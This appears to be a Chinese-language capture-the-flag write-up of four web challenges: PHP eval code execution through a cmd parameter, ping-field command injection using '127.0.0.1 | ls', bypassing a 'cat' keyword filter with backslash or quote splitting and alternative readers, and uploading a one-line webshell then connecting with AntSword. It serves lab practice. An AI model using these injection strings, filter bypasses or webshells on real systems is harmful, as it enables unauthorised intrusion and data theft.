1.eval执行
1)打开题目
简单进行代码审计,而题目又为eval函数说明这里eval()
会执行传入的任意代码,可以通过 cmd
作为参数执行任意 PHP 代码,这里相当于用cmd作为参数来执行url头命令
2)在url头输入命令cmd=system("ls")打开该网页内部文件
发现有php文件,继续进入下一级目录输入命令cmd=system("ls ../")
继续进入下一级目录?cmd=system("ls ../../")
接着查看下一级?cmd=system("ls ../../../")
发现flag_22329使用命令?cmd=system("cat /flag_22329")即可查看flag
2.命令注入
1)打开题目
直接输入ip127.0.0.1执行ping命令
ping完啥也没有,再次查看源码,发现这里没有过滤,那么就可以进行命令的拼接,
即127.0.0.1 | ls,
然后再出现php文件,查看flag
127.0.0.1 | cat 28291277061525即可
flag在源码中查看
3.过滤cat
1)打开题目,看着类型和命令注入一样,
2)直接127.0.0.1 | ls进入
得到flag.php文件
cat查看flag,但是这里它已经过滤了命令中的cat,需要使用字符替换绕过
这里我使用连接符\,即127.0.0.1 | ca\t flag xxxx
当然这里也可以使用 ' '连接符
或者将cat命令换成less也能查看flag
同样我们也能尝试写入一句话木马,然后使用蚁剑连接
类似cat命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
4.无验证
1)随便写一个一句话木马,上传
上传成功
2)上传成功后用蚁剑连接,即可得到flag,